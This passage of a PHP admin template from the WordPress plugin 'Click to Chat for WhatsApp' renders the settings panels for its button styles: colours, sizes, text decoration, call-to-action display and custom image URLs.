                <p><?php _e( 'Content Box Width', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s5[s5_content_width]" value="<?= $s5_content_width ?>" id="s5_content_width" type="text" class="ctc_oninput"  data-update-type='width' data-update-selector='.ctc_s_5 .s5_content'>
                <label for="s5_content_width"><?php _e( 'Content Box Width', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'E.g.', 'click-to-chat-for-whatsapp' ); ?> 270px, 100%</p>
            </div>
        </div>

        <!-- s5_img_position -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Image Position', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="ht_ctc_s5[s5_img_position]" class="select-2 ctc_no_demo">
                    <option value="right" <?= $select_s5_img_position == 'right' ? 'SELECTED' : ''; ?> ><?php _e( 'Right', 'click-to-chat-for-whatsapp' ); ?></option>
                    <option value="left" <?= $select_s5_img_position == 'left' ? 'SELECTED' : ''; ?> ><?php _e( 'Left', 'click-to-chat-for-whatsapp' ); ?></option>
                </select>
                <p class="description"><?php _e( 'If style position/located: Right to screen then select Right, if Left to screen then select Left', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
        </div>


        </div>
        </div>
        </li>
        </ul>
        
        <?php
    }

    


    // style-6 - ht_ctc_s6 - plain link
    function ht_ctc_s6_cb() {

        $options = get_option('ht_ctc_s6');
        $s6_txt_color = ( isset( $options['s6_txt_color']) ) ? esc_attr( $options['s6_txt_color'] ) : '';
        $s6_txt_color_on_hover = ( isset( $options['s6_txt_color_on_hover']) ) ? esc_attr( $options['s6_txt_color_on_hover'] ) : '';
        $text_decoration_value = ( isset( $options['s6_txt_decoration']) ) ? esc_attr( $options['s6_txt_decoration'] ) : '';
        $text_decoration_hover_value = ( isset( $options['s6_txt_decoration_on_hover']) ) ? esc_attr( $options['s6_txt_decoration_on_hover'] ) : '';
        ?>
        <ul class="collapsible ht_ctc_customize_style ht_ctc_s6" data-collapsible="accordion" data-style='6'>
        <li>
        <div class="collapsible-header">Style 6
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <!-- text color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s6_txt_color" class="ht-ctc-color" name="ht_ctc_s6[s6_txt_color]" value="<?= $s6_txt_color ?>" type="text" style="height: 1.375rem;" data-update-type='color' data-update-selector='.ctc_s_6'>
            </div>
        </div>


        <!-- text color on hover -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Text Color on Hover', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s6_txt_color_on_hover" class="ht-ctc-color" name="ht_ctc_s6[s6_txt_color_on_hover]" value="<?= $s6_txt_color_on_hover ?>" type="text" style="height: 1.375rem;">
            </div>
        </div>

        <!-- Text Decoration -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Text Decoration', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select id="s6_txt_decoration" name="ht_ctc_s6[s6_txt_decoration]" class="select-2 ctc_no_demo">
                    <option value="initial" <?= $text_decoration_value == 'initial' ? 'SELECTED' : ''; ?> >initial</option>
                    <option value="underline" <?= $text_decoration_value == 'underline' ? 'SELECTED' : ''; ?> >underline</option>
                    <option value="overline" <?= $text_decoration_value == 'overline' ? 'SELECTED' : ''; ?> >overline</option>
                    <option value="line-through" <?= $text_decoration_value == 'line-through' ? 'SELECTED' : ''; ?> >line-through</option>
                    <option value="inherit" <?= $text_decoration_value == 'inherit' ? 'SELECTED' : ''; ?> >inherit</option>
                </select>
            </div>
        </div>

        <!-- Text Decoration when hover -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Text Decoration when Hover', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select id="s6_txt_decoration_on_hover" name="ht_ctc_s6[s6_txt_decoration_on_hover]" class="select-2 ctc_no_demo">
                    <option value="initial" <?= $text_decoration_hover_value == 'initial' ? 'SELECTED' : ''; ?> >initial</option>
                    <option value="underline" <?= $text_decoration_hover_value == 'underline' ? 'SELECTED' : ''; ?> >underline</option>
                    <option value="overline" <?= $text_decoration_hover_value == 'overline' ? 'SELECTED' : ''; ?> >overline</option>
                    <option value="line-through" <?= $text_decoration_hover_value == 'line-through' ? 'SELECTED' : ''; ?> >line-through</option>
                    <option value="inherit" <?= $text_decoration_hover_value == 'inherit' ? 'SELECTED' : ''; ?> >inherit</option>
                </select>
            </div>
        </div>

        </div>
        </div>
        </li>
        </ul>
        
        <?php
    }


    // style-7 - ht_ctc_s7 - plain link
    function ht_ctc_s7_cb() {

        $options = get_option('ht_ctc_s7');
        $dbrow = 'ht_ctc_s7';
        $style = "s7";

        $s7_icon_size = ( isset( $options['s7_icon_size']) ) ? esc_attr( $options['s7_icon_size'] ) : '';
        $s7_icon_color = ( isset( $options['s7_icon_color']) ) ? esc_attr( $options['s7_icon_color'] ) : '';
        $s7_icon_color_hover = ( isset( $options['s7_icon_color_hover']) ) ? esc_attr( $options['s7_icon_color_hover'] ) : '';
        $s7_border_size = ( isset( $options['s7_border_size']) ) ? esc_attr( $options['s7_border_size'] ) : '';
        $s7_border_color = ( isset( $options['s7_border_color']) ) ? esc_attr( $options['s7_border_color'] ) : '';
        $s7_border_color_hover = ( isset( $options['s7_border_color_hover']) ) ? esc_attr( $options['s7_border_color_hover'] ) : '';
        $s7_border_radius = ( isset( $options['s7_border_radius']) ) ? esc_attr( $options['s7_border_radius'] ) : '';

        $select_cta_type = ( isset( $options['cta_type']) ) ? esc_attr( $options['cta_type'] ) : '';

        $cta_textcolor = ( isset( $options['cta_textcolor']) ) ? esc_attr( $options['cta_textcolor'] ) : '';
        $cta_textcolor_hover = ( isset( $options['cta_textcolor_hover']) ) ? esc_attr( $options['cta_textcolor_hover'] ) : '';
        $cta_bgcolor = ( isset( $options['cta_bgcolor']) ) ? esc_attr( $options['cta_bgcolor'] ) : '';
        $cta_bgcolor_hover = ( isset( $options['cta_bgcolor_hover']) ) ? esc_attr( $options['cta_bgcolor_hover'] ) : '';
        $cta_font_size = ( isset( $options['cta_font_size']) ) ? esc_attr( $options['cta_font_size'] ) : '';

        ?>
        <ul class="collapsible ht_ctc_customize_style ht_ctc_s7" data-collapsible="accordion" data-style='7'>
        <li>
        <div class="collapsible-header"><?php _e( 'Style 7', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <!-- s7_icon_size -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Icon Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s7[s7_icon_size]" value="<?= $s7_icon_size ?>" id="s7_icon_size" type="text" class="ctc_oninput" data-update-type='height' data-update-type-2='width' data-update-selector='.ctc_s_7 svg'>
                <label for="s7_icon_size"><?php _e( 'Icon Size', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'E.g.', 'click-to-chat-for-whatsapp' ); ?> 20px</p>
            </div>
        </div>

        <!-- s7_icon_color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Icon Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s7_icon_color" class="ht-ctc-color" data-default-color="#ffffff" name="ht_ctc_s7[s7_icon_color]" value="<?= $s7_icon_color ?>" type="text" style="height: 1.375rem;" data-update-type='fill' data-update-selector='.ctc_s_7 svg path'>
            </div>
        </div>

        <!-- s7_icon_color_hover -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Icon Color on Hover', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s7_icon_color_hover" class="ht-ctc-color" data-default-color="#ffffff" name="ht_ctc_s7[s7_icon_color_hover]" value="<?= $s7_icon_color_hover ?>" type="text" style="height: 1.375rem;">
            </div>
        </div>

        <!-- s7_border_size -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Border Padding Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s7[s7_border_size]" value="<?= $s7_border_size ?>" id="s7_border_size" type="text" class="ctc_oninput" data-update-type='padding' data-update-selector='.ctc_s_7 .ctc_s_7_icon_padding'>
                <label for="s7_border_size"><?php _e( 'Border Padding Size', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'E.g. 12px', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
        </div>

        <!-- s7_border_color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s7_border_color" class="ht-ctc-color" data-default-color="#25d366" name="ht_ctc_s7[s7_border_color]" value="<?= $s7_border_color ?>" type="text" style="height: 1.375rem;" data-update-type='background-color' data-update-selector='.ctc_s_7 .ctc_s_7_icon_padding'>
            </div>
        </div>

        <!-- s7_border_color_hover -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Background Color on Hover', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s7_border_color_hover" class="ht-ctc-color" data-default-color="#25d366" name="ht_ctc_s7[s7_border_color_hover]" value="<?= $s7_border_color_hover ?>" type="text" style="height: 1.375rem;">
            </div>
        </div>

        <!-- s7_border_radius -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Border radius', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s7[s7_border_radius]" value="<?= $s7_border_radius ?>" id="s7_border_radius" type="text" class="ctc_oninput" data-update-type='border-radius' data-update-selector='.ctc_s_7 .ctc_s_7_icon_padding'>
                <label for="s7_border_radius"><?php _e( 'Border radius', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'E.g. 10px, 50% ( for round border add 50% )', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
        </div>
        <br>
        <p class="description"><?php _e( 'To display icon only - clear background-color. (May need to change icon color to display in plain background)', 'click-to-chat-for-whatsapp' ); ?> </p>

        <br><br>

        <h5 style="display: flex;">Call to Action </h5>
        <hr>
        <!-- call to action - hover / show / hide -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Display - Call to Action', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="<?= $dbrow; ?>[cta_type]" class="select_cta_type ctc_oninput" data-update-type='cta' data-update-selector='.ctc_s_7 .ctc_cta'>
                    <option value="hover" <?= $select_cta_type == 'hover' ? 'SELECTED' : ''; ?> >On Hover</option>
                    <option value="show" <?= $select_cta_type == 'show' ? 'SELECTED' : ''; ?> >Show</option>
                    <option value="hide" <?= $select_cta_type == 'hide' ? 'SELECTED' : ''; ?> >Hide</option>
                </select>
            </div>
        </div>
        <!-- call to action - Text color -->
        <div class="row cta_textcolor cta_stick">
            <div class="col s6">
                <p><?php _e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="<?= $dbrow; ?>[cta_textcolor]" data-default-color="#ffffff" value="<?= $cta_textcolor ?>" type="text" data-update-type='color' data-update-selector='.ctc_s_7 .ctc_cta_stick'>
            </div>
        </div>

        <!-- call to action - background color -->
        <div class="row cta_bgcolor cta_stick">
            <div class="col s6">
                <p><?php _e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="<?= $dbrow; ?>[cta_bgcolor]" data-default-color="#25d366" value="<?= $cta_bgcolor ?>" id="cta_bgcolor" type="text" data-update-type='background-color' data-update-selector='.ctc_s_7 .ctc_cta_stick'>
            </div>
        </div>

        <!-- font size -->
        <div class="row cta_font_size cta_stick">
            <div class="col s6">
                <p><?php _e( 'Font Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[cta_font_size]" value="<?= $cta_font_size ?>" id="s7_cta_font_size" type="text" class="" >
                <label for="s7_cta_font_size"><?php _e( 'Font Size (e.g. 15px)', 'click-to-chat-for-whatsapp' ); ?></label>
                <span class="helper-text"><?php _e( 'Leave blank for default settings', 'click-to-chat-for-whatsapp' ); ?></span>
            </div>
        </div>

        </div>
        </div>
        </li>
        </ul>
        
        <?php
    }


    // style-7_1 Extend  - ht_ctc_s7_1
    function ht_ctc_s7_1_cb() {

        $options = get_option('ht_ctc_s7_1');
        $dbrow = 'ht_ctc_s7_1';
        $style = "s7";

        $s7_icon_size = ( isset( $options['s7_icon_size']) ) ? esc_attr( $options['s7_icon_size'] ) : '';
        $s7_icon_color = ( isset( $options['s7_icon_color']) ) ? esc_attr( $options['s7_icon_color'] ) : '';
        $s7_icon_color_hover = ( isset( $options['s7_icon_color_hover']) ) ? esc_attr( $options['s7_icon_color_hover'] ) : '';
        $s7_border_size = ( isset( $options['s7_border_size']) ) ? esc_attr( $options['s7_border_size'] ) : '';
        $s7_bgcolor = ( isset( $options['s7_bgcolor']) ) ? esc_attr( $options['s7_bgcolor'] ) : '';
        $s7_bgcolor_hover = ( isset( $options['s7_bgcolor_hover']) ) ? esc_attr( $options['s7_bgcolor_hover'] ) : '';
        $cta_font_size = ( isset( $options['cta_font_size']) ) ? esc_attr( $options['cta_font_size'] ) : '';

        $select_cta_type = ( isset( $options['cta_type']) ) ? esc_attr( $options['cta_type'] ) : '';
        ?>
        <ul class="collapsible ht_ctc_customize_style ht_ctc_s7_1" data-collapsible="accordion" data-style='7_1'>
        <li>
        <div class="collapsible-header"><?php _e( 'Style 7 Extend', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <!-- s7_1 call to action - hover / show  -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Display - Call to Action', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="<?= $dbrow; ?>[cta_type]" class="select_cta_type ctc_oninput" data-update-type='cta' data-update-selector='.ctc_s_7_1 .ctc_cta'>
                    <option value="hover" <?= $select_cta_type == 'hover' ? 'SELECTED' : ''; ?> >On Hover</option>
                    <option value="show" <?= $select_cta_type == 'show' ? 'SELECTED' : ''; ?> >Show</option>
                </select>
            </div>
        </div>


        <!-- s7_icon_size -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Icon Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[s7_icon_size]" value="<?= $s7_icon_size ?>" id="s7_icon_size" type="text" class="ctc_oninput" data-update-type='height' data-update-type-2='width' data-update-selector='.ctc_s_7_1 svg'>
                <label for="s7_icon_size"><?php _e( 'Icon Size', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'E.g.', 'click-to-chat-for-whatsapp' ); ?> 20px</p>
            </div>
        </div>

        <!-- s7_border_size icon padding size -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Icon Border Padding Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[s7_border_size]" value="<?= $s7_border_size ?>" id="s7_border_size" type="text" class="ctc_oninput" data-update-type='padding' data-update-selector='.ctc_s_7_1 .ctc_s_7_icon_padding'>
                <label for="s7_border_size"><?php _e( 'Border Padding Size', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'E.g. 12px', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
        </div>

        <!-- s7_icon_color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Icon,Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s7_1_icon_color" class="ht-ctc-color" data-default-color="#ffffff" name="<?= $dbrow; ?>[s7_icon_color]" value="<?= $s7_icon_color ?>" type="text" style="height: 1.375rem;" data-update-type='fill' data-update-selector='.ctc_s_7_1 svg path' data-update-2-type='color' data-update-2-selector='.ctc_s_7_1 .ctc_s_7_1_cta'>
            </div>
        </div>

        <!-- s7_icon_color_hover -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Icon,Text Color on Hover', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s7_1_icon_color_hover" class="ht-ctc-color" data-default-color="#f4f4f4" name="<?= $dbrow; ?>[s7_icon_color_hover]" value="<?= $s7_icon_color_hover ?>" type="text" style="height: 1.375rem;">
            </div>
        </div>

        <!-- s7_bgcolor -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s7_1_bgcolor" class="ht-ctc-color" data-default-color="#25d366" name="<?= $dbrow; ?>[s7_bgcolor]" value="<?= $s7_bgcolor ?>" type="text" style="height: 1.375rem;" data-update-type='background-color' data-update-selector='.ctc_s_7_1'>
            </div>
        </div>

        <!-- s7_bgcolor_hover -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Background Color on Hover', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s7_1_bgcolor_hover" class="ht-ctc-color" data-default-color="#25d366" name="<?= $dbrow; ?>[s7_bgcolor_hover]" value="<?= $s7_bgcolor_hover ?>" type="text" style="height: 1.375rem;">
            </div>
        </div>

        <!-- font size -->
        <div class="row cta_font_size cta_stick">
            <div class="col s6">
                <p><?php _e( 'Font Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[cta_font_size]" value="<?= $cta_font_size ?>" id="s7_1_cta_font_size" type="text" class="ctc_oninput" data-update-type='font-size' data-update-selector='.ctc_s_7_1 .ctc_cta'>
                <label for="s7_1_cta_font_size"><?php _e( 'Font Size (e.g. 15px)', 'click-to-chat-for-whatsapp' ); ?></label>
                <span class="helper-text"><?php _e( 'Leave blank for default settings', 'click-to-chat-for-whatsapp' ); ?></span>
            </div>
        </div>


        </div>
        </div>
        </li>
        </ul>
        
        <?php
    }



    // style-8 - ht_ctc_s8 - button with icon
    function ht_ctc_s8_cb() {

        $options = get_option('ht_ctc_s8');
        $dbrow = 'ht_ctc_s8';

        $s8_txt_color = ( isset( $options['s8_txt_color']) ) ? esc_attr( $options['s8_txt_color'] ) : '';
        $s8_txt_color_on_hover = ( isset( $options['s8_txt_color_on_hover']) ) ? esc_attr( $options['s8_txt_color_on_hover'] ) : '';
        $s8_bg_color = ( isset( $options['s8_bg_color']) ) ? esc_attr( $options['s8_bg_color'] ) : '';
        $s8_bg_color_on_hover = ( isset( $options['s8_bg_color_on_hover']) ) ? esc_attr( $options['s8_bg_color_on_hover'] ) : '';
        $s8_icon_color = ( isset( $options['s8_icon_color']) ) ? esc_attr( $options['s8_icon_color'] ) : '';
        $s8_icon_color_on_hover = ( isset( $options['s8_icon_color_on_hover']) ) ? esc_attr( $options['s8_icon_color_on_hover'] ) : '';
        $icon_position_value = ( isset( $options['s8_icon_position']) ) ? esc_attr( $options['s8_icon_position'] ) : '';
        $s8_text_size = ( isset( $options['s8_text_size']) ) ? esc_attr( $options['s8_text_size'] ) : '';
        $s8_icon_size = ( isset( $options['s8_icon_size']) ) ? esc_attr( $options['s8_icon_size'] ) : '';
        $s8_btn_size = ( isset( $options['s8_btn_size']) ) ? esc_attr( $options['s8_btn_size'] ) : '';
        ?>
        <ul class="collapsible ht_ctc_customize_style ht_ctc_s8" data-collapsible="accordion" data-style='8'>
        <li>
        <div class="collapsible-header"><?php _e( 'Style 8', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <!-- text color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s8_txt_color" class="ht-ctc-color" data-default-color="#ffffff" name="ht_ctc_s8[s8_txt_color]" value="<?= $s8_txt_color ?>" type="text" style="height: 1.375rem;" data-update-type='color' data-update-selector='.ctc_s_8 .s8_span'>
            </div>
        </div>

        <!-- text color on hover -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Text Color on Hover', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s8_txt_color_on_hover" class="ht-ctc-color" data-default-color="#ffffff" name="ht_ctc_s8[s8_txt_color_on_hover]" value="<?= $s8_txt_color_on_hover ?>" type="text" style="height: 1.375rem;">
            </div>
        </div>

        <!-- background color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s8_bg_color" class="ht-ctc-color" data-default-color="#26a69a" name="ht_ctc_s8[s8_bg_color]" value="<?= $s8_bg_color ?>" type="text" style="height: 1.375rem;" data-update-type='background-color' data-update-selector='.ctc_s_8 .s_8'>
            </div>
        </div>

        <!-- background color on hover -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Background Color on Hover', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s8_bg_color_on_hover" class="ht-ctc-color" data-default-color="#26a69a" name="ht_ctc_s8[s8_bg_color_on_hover]" value="<?= $s8_bg_color_on_hover ?>" type="text" style="height: 1.375rem;">
            </div>
        </div>

        <!-- icon color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Icon Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s8_icon_color" class="ht-ctc-color" data-default-color="#ffffff" name="ht_ctc_s8[s8_icon_color]" value="<?= $s8_icon_color ?>" type="text" style="height: 1.375rem;" data-update-type='fill' data-update-selector='.ctc_s_8 svg path'>
            </div>
        </div>

        <!-- icon color on hover -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Icon Color on Hover', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s8_icon_color_on_hover" class="ht-ctc-color" data-default-color="#ffffff" name="ht_ctc_s8[s8_icon_color_on_hover]" value="<?= $s8_icon_color_on_hover ?>" type="text" style="height: 1.375rem;">
            </div>
        </div>



        <!-- icon position - left/right -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Icon Position', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="ht_ctc_s8[s8_icon_position]" class="select-2 ctc_no_demo">
                    <option value="left" <?= $icon_position_value == 'left' ? 'SELECTED' : ''; ?> >Left</option>
                    <option value="right" <?= $icon_position_value == 'right' ? 'SELECTED' : ''; ?> >Right</option>
                    <option value="hide" <?= $icon_position_value == 'hide' ? 'SELECTED' : ''; ?> >Hide</option>
                </select>
                <!-- <label>Icon Position</label> -->
            </div>
        </div>


        <!-- Text Size -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Text Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s8[s8_text_size]" value="<?= $s8_text_size ?>" id="s8_text_size" type="text" class="ctc_oninput" data-update-type='font-size' data-update-selector='.ctc_s_8 .s8_span'>
                <label for="s8_text_size"><?php _e( 'Text Size  -  E.g. 12px', 'click-to-chat-for-whatsapp' ); ?></label>
                <span class="helper-text"><?php _e( 'Leave blank for default settings', 'click-to-chat-for-whatsapp' ); ?></span>
            </div>
        </div>

        <!-- Icon Size -->
        <div class="row">
            <div class="col s6">
                <p>Icon Size</p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s8[s8_icon_size]" value="<?= $s8_icon_size ?>" id="s8_icon_size" type="text" class="ctc_oninput" data-update-type='height' data-update-type-2='width' data-update-selector='.ctc_s_8 svg'>
                <label for="s8_icon_size"><?php _e( 'Icon Size  -  E.g. 16px', 'click-to-chat-for-whatsapp' ); ?></label>
                <span class="helper-text"><?php _e( 'Leave blank for default settings', 'click-to-chat-for-whatsapp' ); ?></span>
            </div>
        </div>

        <!-- button size - btn, btn-large -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Button Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="ht_ctc_s8[s8_btn_size]" class="select-2 ctc_no_demo">
                    <option value="btn" <?= $s8_btn_size == 'btn' ? 'SELECTED' : ''; ?> ><?php _e( 'Normal', 'click-to-chat-for-whatsapp' ); ?></option>
                    <option value="btn-large" <?= $s8_btn_size == 'btn-large' ? 'SELECTED' : ''; ?> ><?php _e( 'Large', 'click-to-chat-for-whatsapp' ); ?></option>
                </select>
            </div>
        </div>

        <!-- Full Width on Mobile -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Full Width on Mobile', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <?php
                if ( isset( $options['s8_m_fullwidth'] ) ) {
                    ?>
                    <p>
                        <label>
                            <input name="<?= $dbrow; ?>[s8_m_fullwidth]" type="checkbox" value="1" <?php checked( $options['s8_m_fullwidth'], 1 ); ?> id="s8_m_fullwidth" class="ctc_no_demo"/>
                            <span><?php _e( 'Full Width on Mobile', 'click-to-chat-for-whatsapp' ); ?></span>
                        </label>
                    </p>
                    <?php
                } else {
                ?>
                <p>
                    <label>
                        <input name="<?= $dbrow; ?>[s8_m_fullwidth]" type="checkbox" value="1" id="s8_m_fullwidth" class="ctc_no_demo"/>
                        <span><?php _e( 'Full Width on Mobile', 'click-to-chat-for-whatsapp' ); ?></span>
                    </label>
                </p>
                <?php
                }
                ?>
            </div>
        </div>

        <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/style-8/"><?php _e( 'Style-8', 'click-to-chat-for-whatsapp' ); ?></a></p>
        

        </div>
        </div>
        </li>
        </ul>
        
        <?php
    }


    // style-99 - ht_ctc_s99 - own image
    function ht_ctc_s99_cb() {

        $options = get_option('ht_ctc_s99');
        $s_99_dekstop_img_url = ( isset( $options['s99_dekstop_img_url']) ) ? esc_attr( $options['s99_dekstop_img_url'] ) : '';
        $s_99_mobile_img_url = ( isset( $options['s99_mobile_img_url']) ) ? esc_attr( $options['s99_mobile_img_url'] ) : '';
        $s_99_desktop_img_height = ( isset( $options['s99_desktop_img_height']) ) ? esc_attr( $options['s99_desktop_img_height'] ) : '';
        $s_99_desktop_img_width = ( isset( $options['s99_desktop_img_width']) ) ? esc_attr( $options['s99_desktop_img_width'] ) : '';
        $s_99_mobile_img_height = ( isset( $options['s99_mobile_img_height']) ) ? esc_attr( $options['s99_mobile_img_height'] ) : '';
        $s_99_mobile_img_width = ( isset( $options['s99_mobile_img_width']) ) ? esc_attr( $options['s99_mobile_img_width'] ) : '';
        ?>
        <ul class="collapsible ht_ctc_customize_style ht_ctc_s99" data-collapsible="accordion" data-style='99'>
        <li>
        <div class="collapsible-header"><?php _e( 'Add your own image / GIF (Style-99)', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <!-- Image URL - Desktop -->
        <div class="row">
            <!-- <div class="col s6">
                <p>Image URL</p>
            </div> -->
            <div class="input-field col s12">
                <input name="ht_ctc_s99[s99_dekstop_img_url]" value="<?= $s_99_dekstop_img_url ?>" id="s99_dekstop_img_url" type="text" class="ctc_no_demo" >
                <label for="s99_dekstop_img_url"><?php _e( 'Image URL - Desktop', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <!-- Image URL - Mobile -->
        <div class="row">
            <!-- <div class="col s6">
                <p>Image URL</p>
            </div> -->
            <div class="input-field col s12">
                <input name="ht_ctc_s99[s99_mobile_img_url]" value="<?= $s_99_mobile_img_url ?>" id="s99_mobile_img_url" type="text" class="ctc_no_demo" >
                <label for="s99_mobile_img_url"><?php _e( 'Image URL - Mobile', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <!-- Desktop - Image Height -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Desktop - Image Height', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s99[s99_desktop_img_height]" value="<?= $s_99_desktop_img_height ?>" id="s99_desktop_img_height" type="text" class="ctc_no_demo" >
                <label for="s99_desktop_img_height"><?php _e( 'Desktop - Image Height', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <!-- Desktop - Image Width -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Desktop - Image Width', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s99[s99_desktop_img_width]" value="<?= $s_99_desktop_img_width ?>" id="s99_desktop_img_width" type="text" class="ctc_no_demo" >
                <label for="s99_desktop_img_width"><?php _e( 'Desktop - Image Width', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <!-- Mobile - Image Height -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Mobile - Image Height', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
